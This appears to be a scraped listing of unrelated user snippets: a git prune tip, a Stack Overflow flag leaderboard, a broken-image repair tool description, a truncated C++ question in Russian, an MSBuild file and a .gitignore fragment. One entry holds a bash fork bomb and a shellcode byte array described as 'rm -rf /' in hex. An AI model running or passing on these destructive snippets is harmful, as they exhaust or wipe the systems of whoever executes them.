ndkhoa

Clean up unreachable or orphaned git objects with git prune

Unreachable objects are those that are not accessible by any refs. As an example, say we have made two commits, and reset them to different heads by calling git reset <commit_id> command. Though the git log command will not show the commit info, git still stores it internally as a dangling object.

Find the dangling commit

git fsck --lost-found

Glorfindel83

1. Andy, 130603 helpful flags
2. Floern, 125891 helpful flags
3. Pang, 99641 helpful flags
4. Jamal, 47735 helpful flags
5. gnat, 41872 helpful flags
6. Wai Ha Lee, 37314 helpful flags
7. Tunaki, 37170 helpful flags
8. ayaio, 36201 helpful flags
9. CRABOLO, 34947 helpful flags
10. Shree, 34704 helpful flags

Glorfindel83

Broken Image Repairer

What is the problem?

A long time ago, it was possible to inline images from all kinds of external sources. Since the switch from HTTP to HTTPS, this is no longer possible; only HTTPS sources are allowed. This leads to ugly blurbs like

alt text http://example.com/image.png

instead of a nicely formatted page with images. Sometimes, the links don't even work anymore, even with HTTPS images, which will show like this: ... Luckily, we have the Wayback Machine which is able to rescue some of the lost images. Since a picture often says more than a thousand words, it's important to bring back the post into its original state; important enough to justify the occasional bump of an old post (see below).

PashaPash

Вот пример C++ кода, который выглядит очень странно. Почему-то, когда данные отсортированы код выполняется почти в шесть раз быстрее.

<!-- language: lang-cpp -->

    #include <algorithm>
    #include <ctime>
    #include <iostream>

    int main()
    {

NickCraver

<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="PrepareStaticContent" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
    <PropertyGroup>
        <!-- Passed in Parameters -->
        <configuration></configuration>
        <workingDir></workingDir>
        <buildNumber></buildNumber>
        <buildViews>false</buildViews>
        <minifyJs>true</minifyJs>
        <TargetsDirectory></TargetsDirectory>

francislewis

#Pretty much a denial of service attack, self replicates to use resources.
:(){ :|: & };:

# just rm -rf / in hex
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″

octocat

# Compiled source #
###################
*.com
*.class
*.dll
*.exe
*.o
*.so

# Packages #